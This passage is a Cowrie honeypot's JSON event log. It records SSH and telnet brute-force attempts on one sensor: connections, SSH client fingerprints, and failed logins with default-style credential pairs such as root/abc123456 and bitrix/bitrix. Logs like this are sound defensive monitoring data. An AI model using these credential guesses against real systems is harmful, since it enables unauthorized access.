2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:49.224707Z","src_ip":"176.65.132.254","session":"46b49c4a0e80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49888,"dst_ip":"10.17.0.5","dst_port":23,"session":"340591958eb3","protocol":"telnet","message":"New connection: 62.210.97.77:49888 (10.17.0.5:23) [session: 340591958eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:49.412906Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:49.435820Z","src_ip":"152.32.189.59","session":"1ba24bebdc47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user1234","message":"login attempt [user/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:49.471108Z","src_ip":"176.65.132.254","session":"46b49c4a0e80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:50.555750Z","src_ip":"176.65.132.254","session":"46b49c4a0e80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48602,"dst_ip":"10.17.0.5","dst_port":22,"session":"b165e8c8111c","protocol":"ssh","message":"New connection: 176.65.132.254:48602 (10.17.0.5:22) [session: b165e8c8111c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:53.235428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:53.240490Z","src_ip":"176.65.132.254","session":"b165e8c8111c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:53.322474Z","src_ip":"176.65.132.254","session":"b165e8c8111c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.064659118652344,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:53.459599Z","src_ip":"62.210.97.77","session":"cbf3cefff602","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:53.568319Z","src_ip":"176.65.132.254","session":"b165e8c8111c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.079978227615356,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:54.212639Z","src_ip":"62.210.97.77","session":"76cf3ad4414d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:54.747957Z","src_ip":"176.65.132.254","session":"b165e8c8111c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49898,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8fe8ec4a0e9","protocol":"telnet","message":"New connection: 62.210.97.77:49898 (10.17.0.5:23) [session: b8fe8ec4a0e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:54.782947Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":51902,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8e4ce221402","protocol":"telnet","message":"New connection: 65.60.27.33:51902 (10.17.0.5:23) [session: a8e4ce221402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:55.774954Z"}
{"eventid":"cowrie.session.closed","duration":8.447224378585815,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:56.052730Z","src_ip":"65.60.27.33","session":"058fc455a90d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":52946,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfa6675dadf2","protocol":"telnet","message":"New connection: 65.60.27.33:52946 (10.17.0.5:23) [session: bfa6675dadf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:56.733707Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48606,"dst_ip":"10.17.0.5","dst_port":22,"session":"08ea6e949071","protocol":"ssh","message":"New connection: 176.65.132.254:48606 (10.17.0.5:22) [session: 08ea6e949071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:57.255022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:57.263613Z","src_ip":"176.65.132.254","session":"08ea6e949071","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:57.346941Z","src_ip":"176.65.132.254","session":"08ea6e949071","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pz","password":"pz","message":"login attempt [pz/pz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:57.597106Z","src_ip":"176.65.132.254","session":"08ea6e949071","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.654080629348755,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:58.643229Z","src_ip":"62.210.97.77","session":"9a5ed943f986","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.9234192371368408,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:58.656987Z","src_ip":"65.60.27.33","session":"bfa6675dadf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:58.683746Z","src_ip":"176.65.132.254","session":"08ea6e949071","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":46786,"dst_ip":"159.203.135.109","dst_port":23,"session":"95e08d4ab013","protocol":"telnet","message":"New connection: 134.209.8.29:46786 (159.203.135.109:23) [session: 95e08d4ab013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:04:59.139637Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48610,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb8403153f2d","protocol":"ssh","message":"New connection: 176.65.132.254:48610 (10.17.0.5:22) [session: fb8403153f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:01.088325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:01.094288Z","src_ip":"176.65.132.254","session":"fb8403153f2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:01.177530Z","src_ip":"176.65.132.254","session":"fb8403153f2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:01.442235Z","src_ip":"176.65.132.254","session":"fb8403153f2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:02.545596Z","src_ip":"176.65.132.254","session":"fb8403153f2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":32960,"dst_ip":"10.17.0.5","dst_port":23,"session":"26fb0cc54ddd","protocol":"telnet","message":"New connection: 62.210.97.77:32960 (10.17.0.5:23) [session: 26fb0cc54ddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:03.329732Z"}
{"eventid":"cowrie.session.closed","duration":34.36889696121216,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:04.570236Z","src_ip":"62.210.97.77","session":"5db8c7b07519","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":32974,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5d6e7ede01a","protocol":"telnet","message":"New connection: 62.210.97.77:32974 (10.17.0.5:23) [session: f5d6e7ede01a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:04.973338Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":46538,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6883df3c8d6","protocol":"ssh","message":"New connection: 176.65.132.254:46538 (10.17.0.5:22) [session: f6883df3c8d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:05.173999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:05.180383Z","src_ip":"176.65.132.254","session":"f6883df3c8d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:05.264203Z","src_ip":"176.65.132.254","session":"f6883df3c8d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:05.540127Z","src_ip":"176.65.132.254","session":"f6883df3c8d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":32990,"dst_ip":"10.17.0.5","dst_port":23,"session":"6396603d27b0","protocol":"telnet","message":"New connection: 62.210.97.77:32990 (10.17.0.5:23) [session: 6396603d27b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:05.598307Z"}
{"eventid":"cowrie.session.closed","duration":33.35642671585083,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:06.430108Z","src_ip":"62.210.97.77","session":"99efcb3073a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:06.783603Z","src_ip":"176.65.132.254","session":"f6883df3c8d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":46558,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa311f36b3ea","protocol":"ssh","message":"New connection: 176.65.132.254:46558 (10.17.0.5:22) [session: aa311f36b3ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:09.138955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:09.300822Z","src_ip":"176.65.132.254","session":"aa311f36b3ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:09.305134Z","src_ip":"176.65.132.254","session":"aa311f36b3ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:09.680000Z","src_ip":"176.65.132.254","session":"aa311f36b3ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58072,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f5200ed766a","protocol":"telnet","message":"New connection: 62.210.97.77:58072 (10.17.0.5:23) [session: 6f5200ed766a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:09.776644Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:10.764360Z","src_ip":"176.65.132.254","session":"aa311f36b3ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58082,"dst_ip":"10.17.0.5","dst_port":23,"session":"301c08c54ce8","protocol":"telnet","message":"New connection: 62.210.97.77:58082 (10.17.0.5:23) [session: 301c08c54ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:11.226979Z"}
{"eventid":"cowrie.session.closed","duration":31.783592224121094,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:11.842994Z","src_ip":"62.210.97.77","session":"04ccffde4103","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":55586,"dst_ip":"10.17.0.5","dst_port":22,"session":"efe576b938a5","protocol":"ssh","message":"New connection: 176.65.132.254:55586 (10.17.0.5:22) [session: efe576b938a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:13.239503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:13.244737Z","src_ip":"176.65.132.254","session":"efe576b938a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:13.327452Z","src_ip":"176.65.132.254","session":"efe576b938a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix","message":"login attempt [bitrix/bitrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:13.576288Z","src_ip":"176.65.132.254","session":"efe576b938a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.614861488342285,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:05:13.768731Z","src_ip":"62.210.97.77","session":"b4badff848f0","protocol":"telnet"}
